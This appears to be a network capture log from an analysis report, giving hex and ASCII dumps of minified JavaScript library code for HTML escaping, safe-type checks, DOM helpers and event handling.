a.C:"type_error:SafeScript"

2021-11-25 17:33:42 UTC 178 IN Data Raw: 2e 69 6e 64 65 78 4f 66 28 22 3c 22 29 26 26 28 61 3d 61 2e 72 65 70 6c 61 63 65 28 7a 64 2c 22 26 6c 74 3b 
22 29 29 3b 2d 31 21 3d 61 2e 69 6e 64 65 78 4f 66 28 22 3e 22 29 26 26 28 61 3d 61 2e 72 65 70 6c 61 63 65 28 41 64 
2c 22 26 67 74 3b 22 29 29 3b 2d 31 21 3d 61 2e 69 6e 64 65 78 4f 66 28 27 22 27 29 26 26 28 61 3d 61 2e 72 65 70 6c 
61 63 65 28 42 64 2c 22 26 71 75 6f 74 3b 22 29 29 3b 2d 31 21 3d 61 2e 69 6e 64 65 78 4f 66 28 22 27 22 29 26 26 28 6
1 3d 61 2e 72 65 70 6c 61 63 65 28 43 64 2c 22 26 23 33 39 3b 22 29 29 3b 2d 31 21 3d 61 2e 69 6e 64 65 78 4f 66 28 22 
5c 78 30 30 22 29 26 26 28 61 3d 61 2e 72 65 70 6c 61 63 65 28 44 64 2c 22 26 23 30 3b 22 29 29 3b 72 65 74 75 72 6e 
20 61 7d 0a 76 61 72 20 79 64 3d 2f 26 2f 67 2c 7a 64 3d 2f 3c 2f 67 
Data Ascii: .indexOf("<")&&(a=a.replace(zd,"&lt;"));-1!=a.indexOf(">")&&(a=a.replace(Ad,"&gt;"));-1!=a.indexOf('"')&&(a=
a.replace(Bd,"&quot;"));-1!=a.indexOf("'")&&(a=a.replace(Cd,"&#39;"));-1!=a.indexOf("\x00")&&(a=a.replace(Dd,"&#0;"));re
turn a}var yd=/&/g,zd=/</g

2021-11-25 17:33:42 UTC 179 IN Data Raw: 68 69 73 2e 43 7d 3b 4f 64 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 
28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 43 2e 74 6f 53 74 72 69 6e 67 28 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 50 
64 28 61 29 7b 72 65 74 75 72 6e 20 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 4f 64 26 26 61 2e 63 6f 6e 73 74 72 75 63 74 
6f 72 3d 3d 3d 4f 64 3f 61 2e 43 3a 22 74 79 70 65 5f 65 72 72 6f 72 3a 53 61 66 65 53 74 79 6c 65 22 7d 0a 66 75 6e 63 
74 69 6f 6e 20 51 64 28 61 29 7b 76 61 72 20 62 3d 22 22 2c 63 3b 66 6f 72 28 63 20 69 6e 20 61 29 69 66 28 4f 62 6a 65 
63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 63 29 29 7b 69 
66 28 21 2f 5e 5b 2d 5f 61 2d 7a 41 2d 5a 30 2d 39 5d 2b 
Data Ascii: his.C};Od.prototype.toString=function(){return this.C.toString()};function Pd(a){return a instanceof Od&&a.c
onstructor===Od?a.C:"type_error:SafeStyle"}function Qd(a){var b="",c;for(c in a)if(Object.prototype.hasOwnProperty.call(
a,c)){if(!/^[-_a-zA-Z0-9]+

2021-11-25 17:33:42 UTC 181 IN Data Raw: 7c 63 75 62 69 63 2d 62 65 7a 69 65 72 7c 66 69 74 2d 63 6f 6e 74 65 6e 74 7c 68 73 6c 7c 68 73 6c 61 7c 6c 
69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 7c 6d 61 74 72 69 78 7c 6d 69 6e 6d 61 78 7c 72 65 70 65 61 74 7c 72 67 62 
7c 72 67 62 61 7c 28 72 6f 74 61 74 65 7c 73 63 61 6c 65 7c 74 72 61 6e 73 6c 61 74 65 29 28 58 7c 59 7c 5a 7c 33 64 29 
3f 7c 76 61 72 29 5c 5c 28 5b 2d 2b 2a 2f 30 2d 39 61 2d 7a 41 2d 5a 2e 25 23 5c 5c 5b 5c 5c 5d 2c 20 5d 2b 5c 5c 29 22 
2c 22 67 22 29 2c 58 64 3d 2f 5c 2f 5c 2a 2f 3b 0a 66 75 6e 63 74 69 6f 6e 20 5a 64 28 61 29 7b 72 65 74 75 72 6e 20 61 
2e 72 65 70 6c 61 63 65 28 56 64 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 2c 64 2c 65 29 7b 76 61 72 20 66 3d 22 22 3b 
64 3d 64 2e 72 65 70 6c 61 63 65 28 2f 5e 28 5b 27 22 5d 29 28 
Data Ascii: |cubic-bezier|fit-content|hsl|hsla|linear-gradient|matrix|minmax|repeat|rgb|rgba|(rotate|scale|translate)(X|
Y|Z|3d)?|var)\\([-+*/0-9a-zA-Z.%#\\[\\], ]+\\)","g"),Xd=/\/\*/;function Zd(a){return a.replace(Vd,function(b,c,d,e){var f="";d=d.r
eplace(/^(['"])(

2021-11-25 17:33:42 UTC 182 IN Data Raw: 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 43 2e 74 6f 53 74 72 69 6e 67 28 29 7d 3b 6c 65 2e 70 72 6f 74 6f 
74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 43 2e 
74 6f 53 74 72 69 6e 67 28 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 6d 65 28 61 29 7b 72 65 74 75 72 6e 20 61 20 69 6e 73 
74 61 6e 63 65 6f 66 20 6c 65 26 26 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 6c 65 3f 61 2e 43 3a 22 74 79 70 65 
5f 65 72 72 6f 72 3a 53 61 66 65 48 74 6d 6c 22 7d 66 75 6e 63 74 69 6f 6e 20 6e 65 28 61 29 7b 69 66 28 61 20 69 6e 73 
74 61 6e 63 65 6f 66 20 6c 65 29 72 65 74 75 72 6e 20 61 3b 76 61 72 20 62 3d 74 79 70 65 6f 66 20 61 3d 3d 71 2c 63 3d 
6e 75 6c 6c 3b 62 26 26 61 2e 44 62 26 26 28 63 3d 61 2e 77 61 
Data Ascii: ){return this.C.toString()};le.prototype.toString=function(){return this.C.toString()};function me(a){return a instanc
eof le&&a.constructor===le?a.C:"type_error:SafeHtml"}function ne(a){if(a instanceof le)return a;var b=typeof a==q,c=null
;b&&a.Db&&(c=a.wa

2021-11-25 17:33:42 UTC 183 IN Data Raw: 3b 66 3d 50 64 28 66 29 7d 65 6c 73 65 7b 69 66 28 2f 5e 6f 6e 2f 69 2e 74 65 73 74 28 67 29 29 74 68 72 6f 
77 20 45 72 72 6f 72 28 22 22 29 3b 69 66 28 67 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 69 6e 20 79 65 29 69 66 28 66 
20 69 6e 73 74 61 6e 63 65 6f 66 20 70 64 29 66 3d 72 64 28 66 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 65 6c 73 65 20 
69 66 28 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 46 64 29 66 3d 48 64 28 66 29 3b 65 6c 73 65 20 69 66 28 74 79 70 65 
6f 66 20 66 3d 3d 3d 72 29 66 3d 4c 64 28 66 29 2e 69 61 28 29 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 22 
22 29 3b 7d 66 2e 6d 61 26 26 28 66 3d 66 2e 69 61 28 29 29 3b 67 3d 67 2b 27 3d 22 27 2b 77 64 28 53 74 72 69 6e 67 
28 66 29 29 2b 0a 27 22 27 3b 65 2b 3d 22 20 22 2b 67 7d 7d 76 61 
Data Ascii: ;f=Pd(f)}else{if(/^on/i.test(g))throw Error("");if(g.toLowerCase()in ye)if(f instanceof pd)f=rd(f).toString();else if(f 
instanceof Fd)f=Hd(f);else if(typeof f===r)f=Ld(f).ia();else throw Error("");}f.ma&&(f=f.ia());g=g+'="'+wd(String(f))+'"';e+=" "
+g}}va
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2021-11-25 17:33:42 UTC 185 IN Data Raw: 65 72 48 54 4d 4c 3d 62 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 65 28 61 29 7b 61 3d 61 2e 63 6c 61 73 73 4e 61 
6d 65 3b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 61 3d 3d 3d 72 26 26 61 2e 6d 61 74 63 68 28 2f 5c 53 2b 2f 67 29 7c 
7c 5b 5d 7d 66 75 6e 63 74 69 6f 6e 20 48 65 28 61 2c 62 29 7b 76 61 72 20 63 3d 47 65 28 61 29 3b 49 65 28 63 2c 41 
72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 31 29 29 3b 
61 2e 63 6c 61 73 73 4e 61 6d 65 3d 63 2e 6a 6f 69 6e 28 22 20 22 29 7d 66 75 6e 63 74 69 6f 6e 20 4a 65 28 61 2c 62 29 
7b 76 61 72 20 63 3d 47 65 28 61 29 3b 63 3d 4b 65 28 63 2c 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 
65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 31 29 29 
Data Ascii: erHTML=b};function Ge(a){a=a.className;return typeof a===r&&a.match(/\S+/g)||[]}function He(a,b){var 
c=Ge(a);Ie(c,Array.prototype.slice.call(arguments,1));a.className=c.join(" ")}function Je(a,b){var c=Ge(a);c=Ke(c,Arr
ay.prototype.slice.call(arguments,1))

2021-11-25 17:33:42 UTC 186 IN Data Raw: 6f 61 74 28 56 65 29 29 7b 55 65 3d 53 74 72 69 6e 67 28 58 65 29 3b 62 72 65 61 6b 20 61 7d 7d 55 65 3d 56 
65 7d 76 61 72 20 59 65 3d 55 65 2c 4f 65 3d 7b 7d 3b 0a 66 75 6e 63 74 69 6f 6e 20 5a 65 28 61 29 7b 72 65 74 75 72 6e 
20 4e 65 28 61 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 62 3d 30 2c 63 3d 45 28 53 74 72 69 6e 67 28 
59 65 29 29 2e 73 70 6c 69 74 28 22 2e 22 29 2c 64 3d 45 28 53 74 72 69 6e 67 28 61 29 29 2e 73 70 6c 69 74 28 22 2e 
22 29 2c 65 3d 4d 61 74 68 2e 6d 61 78 28 63 2e 6c 65 6e 67 74 68 2c 64 2e 6c 65 6e 67 74 68 29 2c 66 3d 30 3b 30 3d 
3d 62 26 26 66 3c 65 3b 66 2b 2b 29 7b 76 61 72 20 67 3d 63 5b 66 5d 7c 7c 22 22 2c 68 3d 64 5b 66 5d 7c 7c 22 22 3b 6
4 6f 7b 67 3d 2f 28 5c 64 2a 29 28 5c 44 2a 29 28 2e 2a 29 2f 2e 
Data Ascii: oat(Ve)){Ue=String(Xe);break a}}Ue=Ve}var Ye=Ue,Oe={};function Ze(a){return Ne(a,function(){for(var 
b=0,c=E(String(Ye)).split("."),d=E(String(a)).split("."),e=Math.max(c.length,d.length),f=0;0==b&&f<e;f++){var g=c[f]||
"",h=d[f]||"";do{g=/(\d*)(\D*)(.*)/.

2021-11-25 17:33:42 UTC 187 IN Data Raw: 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 62 29 3b 62 3d 61 2e 66 69 72 73 74 43 68 69 6c 64 2e 66 69 72 73 74 
43 68 69 6c 64 3b 61 2e 69 6e 6e 65 72 48 54 4d 4c 3d 6d 65 28 77 65 29 3b 72 65 74 75 72 6e 21 62 2e 70 61 72 65 6e 
74 45 6c 65 6d 65 6e 74 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 68 66 28 61 2c 62 29 7b 69 66 28 67 66 28 29 29 66 6f 72 28 
3b 61 2e 6c 61 73 74 43 68 69 6c 64 3b 29 61 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 61 2e 6c 61 73 74 43 68 69 6c 64 
29 3b 61 2e 69 6e 6e 65 72 48 54 4d 4c 3d 6d 65 28 62 29 7d 66 75 6e 63 74 69 6f 6e 20 6a 66 28 61 2c 62 29 7b 61 2e 7
3 72 63 3d 72 64 28 62 29 3b 28 62 3d 75 65 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 26 26 61 2e 6f 77 6e 65 72 
44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 29 29 
Data Ascii: .appendChild(b);b=a.firstChild.firstChild;a.innerHTML=me(we);return!b.parentElement});function hf(a,b){if(gf
())for(;a.lastChild;)a.removeChild(a.lastChild);a.innerHTML=me(b)}function jf(a,b){a.src=rd(b);(b=ue(a.ownerDo
cument&&a.ownerDocument.defaultView))

2021-11-25 17:33:42 UTC 188 IN Data Raw: 74 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 72 65 70 65 61 74 28 62 29 7d 3a 
66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 41 72 72 61 79 28 62 2b 31 29 2e 6a 6f 69 6e 28 61 29 7d 
3b 66 75 6e 63 74 69 6f 6e 20 6f 66 28 61 29 7b 72 65 74 75 72 6e 20 53 74 72 69 6e 67 28 61 29 2e 72 65 70 6c 61 63 
65 28 2f 5c 2d 28 5b 61 2d 7a 5d 29 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 63 2e 74 6f 
55 70 70 65 72 43 61 73 65 28 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 70 66 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 72 
65 70 6c 61 63 65 28 52 65 67 45 78 70 28 22 28 5e 7c 5b 5c 5c 73 5d 2b 29 28 5b 61 2d 7a 5d 29 22 2c 22 67 22 29 2c 6
6 75 6e 63 74 69 6f 6e 28 62 2c 63 2c 64 29 7b 72 65 74 75 72 6e 
Data Ascii: t?function(a,b){return a.repeat(b)}:function(a,b){return Array(b+1).join(a)};function of(a){return String(a).replace(/
\-([a-z])/g,function(b,c){return c.toUpperCase()})}function pf(a){return a.replace(RegExp("(^|[\\s]+)([a-z])","g"),function(b,c,d)
{return

2021-11-25 17:33:42 UTC 189 IN Data Raw: 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 3d 63 3a 22 66 6f 72 22 3d 3d 64 3f 61 2e 68 74 6d 6c 46 6f 72 3d 63 3a 
75 66 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 75 66 5b 64 
5d 2c 63 29 3a 76 64 28 64 2c 22 61 72 69 61 2d 22 29 7c 7c 76 64 28 64 2c 22 64 61 74 61 2d 22 29 3f 61 2e 73 65 74 
41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 3d 63 7d 29 7d 76 61 72 20 75 66 3d 7b 63 65 6c 6c 70 61 64 
64 69 6e 67 3a 22 63 65 6c 6c 50 61 64 64 69 6e 67 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 22 63 65 6c 6c 53 70 61 6
3 69 6e 67 22 2c 63 6f 6c 73 70 61 6e 3a 22 63 6f 6c 53 70 61 6e 22 2c 66 72 61 6d 65 62 6f 72 64 65 72 3a 22 66 72 61 6
d 65 42 6f 72 64 65 72 22 2c 68 65 69 67 68 74 3a 22 68 65 69 67 
Data Ascii: ?a.className=c:"for"==d?a.htmlFor=c:uf.hasOwnProperty(d)?a.setAttribute(uf[d],c):vd(d,"aria-")||vd(d,"data-")?
a.setAttribute(d,c):a[d]=c})}var uf={cellpadding:"cellPadding",cellspacing:"cellSpacing",colspan:"colSpan",frameborder
:"frameBorder",height:"heig

2021-11-25 17:33:42 UTC 191 IN Data Raw: 72 65 74 75 72 6e 20 58 62 28 62 29 26 26 31 3d 3d 62 2e 6e 6f 64 65 54 79 70 65 3f 62 3a 6e 75 6c 6c 7d 0a 
66 75 6e 63 74 69 6f 6e 20 43 66 28 61 2c 62 29 7b 69 66 28 22 74 65 78 74 43 6f 6e 74 65 6e 74 22 69 6e 20 61 29 61 2e 
74 65 78 74 43 6f 6e 74 65 6e 74 3d 62 3b 65 6c 73 65 20 69 66 28 33 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 61 2e 64 61 
74 61 3d 53 74 72 69 6e 67 28 62 29 3b 65 6c 73 65 20 69 66 28 61 2e 66 69 72 73 74 43 68 69 6c 64 26 26 33 3d 3d 61 
2e 66 69 72 73 74 43 68 69 6c 64 2e 6e 6f 64 65 54 79 70 65 29 7b 66 6f 72 28 3b 61 2e 6c 61 73 74 43 68 69 6c 64 21 3d 
61 2e 66 69 72 73 74 43 68 69 6c 64 3b 29 61 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 61 2e 6c 61 73 74 43 68 69 6c 64 
29 3b 61 2e 66 69 72 73 74 43 68 69 6c 64 2e 64 61 74 61 3d 53 
Data Ascii: return Xb(b)&&1==b.nodeType?b:null}function Cf(a,b){if("textContent"in a)a.textContent=b;else if(3==a.nodeTy
pe)a.data=String(b);else if(a.firstChild&&3==a.firstChild.nodeType){for(;a.lastChild!=a.firstChild;)a.removeChild(a.last
Child);a.firstChild.data=S

2021-11-25 17:33:42 UTC 192 IN Data Raw: 29 72 65 74 75 72 6e 20 61 3d 3d 62 7c 7c 61 2e 63 6f 6e 74 61 69 6e 73 28 62 29 3b 69 66 28 22 75 6e 64 65 
66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 
29 72 65 74 75 72 6e 20 61 3d 3d 62 7c 7c 21 21 28 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 
6f 6e 28 62 29 26 31 36 29 3b 66 6f 72 28 3b 62 26 26 61 21 3d 62 3b 29 62 3d 62 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 
65 74 75 72 6e 20 62 3d 3d 61 7d 3b 66 75 6e 63 74 69 6f 6e 20 4b 66 28 29 7b 74 68 69 73 2e 4e 3d 74 68 69 73 2e 4e 
3b 74 68 69 73 2e 67 61 3d 74 68 69 73 2e 67 61 7d 4b 66 2e 70 72 6f 74 6f 74 79 70 65 2e 4e 3d 21 31 3b 4b 66 2e 70 
72 6f 74 6f 74 79 70 65 2e 69 73 44 69 73 70 6f 73 65 64 3d 66 
Data Ascii: )return a==b||a.contains(b);if("undefined"!=typeof a.compareDocumentPosition)return a==b||!!(a.com
pareDocumentPosition(b)&16);for(;b&&a!=b;)b=b.parentNode;return b==a};function Kf(){this.N=this.N;this.ga=this.ga}Kf.pro
totype.N=!1;Kf.prototype.isDisposed=f

2021-11-25 17:33:42 UTC 193 IN Data Raw: 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 74 68 69 73 2e 74 79 70 65 3d 61 2e 74 79 70 65 2c 64 3d 61 2e 63 68 
61 6e 67 65 64 54 6f 75 63 68 65 73 26 26 61 2e 63 68 61 6e 67 65 64 54 6f 75 63 68 65 73 2e 6c 65 6e 67 74 68 3f 61 2e 
63 68 61 6e 67 65 64 54 6f 75 63 68 65 73 5b 30 5d 3a 6e 75 6c 6c 3b 74 68 69 73 2e 74 61 72 67 65 74 3d 61 2e 74 61 
72 67 65 74 7c 7c 61 2e 73 72 63 45 6c 65 6d 65 6e 74 3b 74 68 69 73 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 3d 62 
3b 69 66 28 62 3d 61 2e 72 65 6c 61 74 65 64 54 61 72 67 65 74 29 7b 69 66 28 52 65 29 7b 61 3a 7b 74 72 79 7b 4d 65 
28 62 2e 6e 6f 64 65 4e 61 6d 65 29 3b 76 61 72 20 65 3d 21 30 3b 62 72 65 61 6b 20 61 7d 63 61 74 63 68 28 66 29 7b 
7d 65 3d 21 31 7d 65 7c 7c 28 62 3d 6e 75 6c 6c 29 7d 7d 65 6c 73 65 
Data Ascii: n(a,b){var c=this.type=a.type,d=a.changedTouches&&a.changedTouches.length?a.changedTouches[0]:null
;this.target=a.target||a.srcElement;this.currentTarget=b;if(b=a.relatedTarget){if(Re){a:{try{Me(b.nodeName);var e=!0;break 
a}catch(f){}e=!1}e||(b=null)}}else
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2021-11-25 17:33:42 UTC 194 IN Data Raw: 4e 66 2e 70 72 6f 74 6f 74 79 70 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 3d 66 75 6e 63 74 69 6f 6e 
28 29 7b 4e 66 2e 4f 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 2e 63 61 6c 6c 28 74 68 69 73 29 3b 76 61 72 20 61 
3d 74 68 69 73 2e 43 3b 61 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 3f 61 2e 70 72 65 76 65 6e 74 44 65 66 61 75 
6c 74 28 29 3a 61 2e 72 65 74 75 72 6e 56 61 6c 75 65 3d 21 31 7d 3b 76 61 72 20 50 66 3d 22 63 6c 6f 73 75 72 65 5f 6c 
69 73 74 65 6e 61 62 6c 65 5f 22 2b 28 31 45 36 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 7c 30 29 3b 66 75 6e 63 74 6
9 6f 6e 20 51 66 28 61 29 7b 72 65 74 75 72 6e 21 28 21 61 7c 7c 21 61 5b 50 66 5d 29 7d 3b 76 61 72 20 52 66 3d 30 3b 
66 75 6e 63 74 69 6f 6e 20 53 66 28 61 2c 62 2c 63 2c 64 2c 65 29 
Data Ascii: Nf.prototype.preventDefault=function(){Nf.O.preventDefault.call(this);var a=this.C;a.preventDefault?a.preven
tDefault():a.returnValue=!1};var Pf="closure_listenable_"+(1E6*Math.random()|0);function Qf(a){return!(!a||!a[Pf])};var 
Rf=0;function Sf(a,b,c,d,e)

2021-11-25 17:33:42 UTC 196 IN Data Raw: 2b 2b 29 4c 28 61 2c 62 5b 66 5d 2c 63 2c 64 2c 65 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 63 3d 64 67 28 
63 29 3b 51 66 28 61 29 3f 66 3d 61 2e 65 61 2e 61 64 64 28 53 74 72 69 6e 67 28 62 29 2c 63 2c 21 31 2c 58 62 28 64 
29 3f 21 21 64 2e 63 61 70 74 75 72 65 3a 21 21 64 2c 65 29 3a 66 3d 65 67 28 61 2c 62 2c 63 2c 21 31 2c 64 2c 65 29 3b
72 65 74 75 72 6e 20 66 7d 0a 66 75 6e 63 74 69 6f 6e 20 65 67 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 69 66 28 21 
62 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 65 76 65 6e 74 20 74 79 70 65 22 29 3b 76 61 72 2
0 67 3d 58 62 28 65 29 3f 21 21 65 2e 63 61 70 74 75 72 65 3a 21 21 65 2c 68 3d 66 67 28 61 29 3b 68 7c 7c 28 61 5b 24 
66 5d 3d 68 3d 6e 65 77 20 56 66 28 61 29 29 3b 63 3d 68 2e 61 64 
Data Ascii: ++)L(a,b[f],c,d,e);return null}c=dg(c);Qf(a)?f=a.ea.add(String(b),c,!1,Xb(d)?!!d.capture:!!d,e):f=eg(a,b,c,!
1,d,e);return f}function eg(a,b,c,d,e,f){if(!b)throw Error("Invalid event type");var g=Xb(e)?!!e.capture:!!e,h=fg(a);h||(a[$f]=h=n
ew Vf(a));c=h.ad

2021-11-25 17:33:42 UTC 197 IN Data Raw: 70 65 2c 64 3d 61 2e 70 72 6f 78 79 3b 62 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 62 
2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 63 2c 64 2c 61 2e 63 61 70 74 75 72 65 29 3a 62 2e 64 
65 74 61 63 68 45 76 65 6e 74 3f 62 2e 64 65 74 61 63 68 45 76 65 6e 74 28 68 67 28 63 29 2c 64 29 3a 62 2e 61 64 64 
4c 69 73 74 65 6e 65 72 26 26 62 2e 72 65 6d 6f 76 65 4c 69 73 74 65 6e 65 72 26 26 62 2e 72 65 6d 6f 76 65 4c 69 73 74 
65 6e 65 72 28 64 29 3b 62 67 2d 2d 3b 28 63 3d 66 67 28 62 29 29 3f 28 58 66 28 63 2c 61 29 2c 30 3d 3d 63 2e 44 26 2
6 28 63 2e 73 72 63 3d 6e 75 6c 6c 2c 62 5b 24 66 5d 3d 6e 75 6c 6c 29 29 3a 54 66 28 61 29 3b 72 65 74 75 72 6e 21 30 
7d 66 75 6e 63 74 69 6f 6e 20 6c 67 28 61 29 7b 69 66 28 61 29 69 
Data Ascii: pe,d=a.proxy;b.removeEventListener?b.removeEventListener(c,d,a.capture):b.detachEvent?b.detachEven
t(hg(c),d):b.addListener&&b.removeListener&&b.removeListener(d);bg--;(c=fg(b))?(Xf(c,a),0==c.D&&(c.src=null,b[$f]=null))
:Tf(a);return!0}function lg(a){if(a)i

2021-11-25 17:33:42 UTC 198 IN Data Raw: 77 6e 50 72 6f 70 65 72 74 79 28 63 29 26 26 6b 67 28 62 29 7d 2c 61 29 3b 61 2e 43 3d 7b 7d 7d 6e 67 2e 70 
72 6f 74 6f 74 79 70 65 2e 57 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 67 2e 4f 2e 57 2e 63 61 6c 6c 28 74 68 69 73 29 3b 
72 67 28 74 68 69 73 29 7d 3b 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 6e 64 6c 65 45 76 65 6e 74 3d 66 75 6e 63 
74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 45 76 65 6e 74 48 61 6e 64 6c 65 72 2e 68 61 6e 64 6c 65 45 
76 65 6e 74 20 6e 6f 74 20 69 6d 70 6c 65 6d 65 6e 74 65 64 22 29 3b 7d 3b 66 75 6e 63 74 69 6f 6e 20 4d 28 29 7b 4b 66 
2e 63 61 6c 6c 28 74 68 69 73 29 3b 74 68 69 73 2e 65 61 3d 6e 65 77 20 56 66 28 74 68 69 73 29 3b 74 68 69 73 2e 61 
64 3d 74 68 69 73 3b 74 68 69 73 2e 77 62 3d 6e 75 6c 6c 7d 41 
Data Ascii: wnProperty(c)&&kg(b)},a);a.C={}}ng.prototype.W=function(){ng.O.W.call(this);rg(this)};ng.prototype.handleEve
nt=function(){throw Error("EventHandler.handleEvent not implemented");};function M(){Kf.call(this);this.ea=new Vf(this);
this.ad=this;this.wb=null}A

2021-11-25 17:33:42 UTC 200 IN Data Raw: 66 28 30 3c 74 68 69 73 2e 44 29 7b 74 68 69 73 2e 44 2d 2d 3b 76 61 72 20 61 3d 74 68 69 73 2e 43 3b 74 
68 69 73 2e 43 3d 61 2e 6e 65 78 74 3b 61 2e 6e 65 78 74 3d 6e 75 6c 6c 7d 65 6c 73 65 20 61 3d 74 68 69 73 2e 46 28 
29 3b 72 65 74 75 72 6e 20 61 7d 3b 66 75 6e 63 74 69 6f 6e 20 75 67 28 61 2c 62 29 7b 61 2e 47 28 62 29 3b 31 30 30 3
e 61 2e 44 26 26 28 61 2e 44 2b 2b 2c 62 2e 6e 65 78 74 3d 61 2e 43 2c 61 2e 43 3d 62 29 7d 3b 76 61 72 20 76 67 3b 0a 
66 75 6e 63 74 69 6f 6e 20 77 67 28 29 7b 76 61 72 20 61 3d 78 2e 4d 65 73 73 61 67 65 43 68 61 6e 6e 65 6c 3b 22 75 
6e 64 65 66 69 6e 65 64 22 3d 3d 3d 74 79 70 65 6f 66 20 61 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 3d 74 79 70 
65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 70 6f 73 74 4d 
Data Ascii: f(0<this.D){this.D--;var a=this.C;this.C=a.next;a.next=null}else a=this.F();return a};function ug(a,b){a.G(b
);100>a.D&&(a.D++,b.next=a.C,a.C=b)};var vg;function wg(){var a=x.MessageChannel;"undefined"===typeof a&&"unde
fined"!==typeof window&&window.postM

2021-11-25 17:33:42 UTC 201 IN Data Raw: 67 3d 6e 65 77 20 74 67 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 43 67 7d 2c 66 
75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 72 65 73 65 74 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 
43 67 28 29 7b 74 68 69 73 2e 6e 65 78 74 3d 74 68 69 73 2e 73 63 6f 70 65 3d 74 68 69 73 2e 43 3d 6e 75 6c 6c 7d 43 
67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 74 68 69 73 2e 43 3d 61 3b 74 
68 69 73 2e 73 63 6f 70 65 3d 62 3b 74 68 69 73 2e 6e 65 78 74 3d 6e 75 6c 6c 7d 3b 43 67 2e 70 72 6f 74 6f 74 79 70 65 
2e 72 65 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 6e 65 78 74 3d 74 68 69 73 2e 73 63 6f 70 65 3d 7
4 68 69 73 2e 43 3d 6e 75 6c 6c 7d 3b 66 75 6e 63 74 69 6f 6e 20 
Data Ascii: g=new tg(function(){return new Cg},function(a){return a.reset()});function Cg(){this.next=this.scope=this.C=
null}Cg.prototype.set=function(a,b){this.C=a;this.scope=b;this.next=null};Cg.prototype.reset=function(){this.next=this.s
cope=this.C=null};function 

2021-11-25 17:33:42 UTC 202 IN Data Raw: 62 2c 63 3d 6e 65 77 20 4c 67 28 66 75 6e 63 74 69 6f 6e 28 64 2c 65 29 7b 61 3d 64 3b 62 3d 65 7d 29 3b 72 
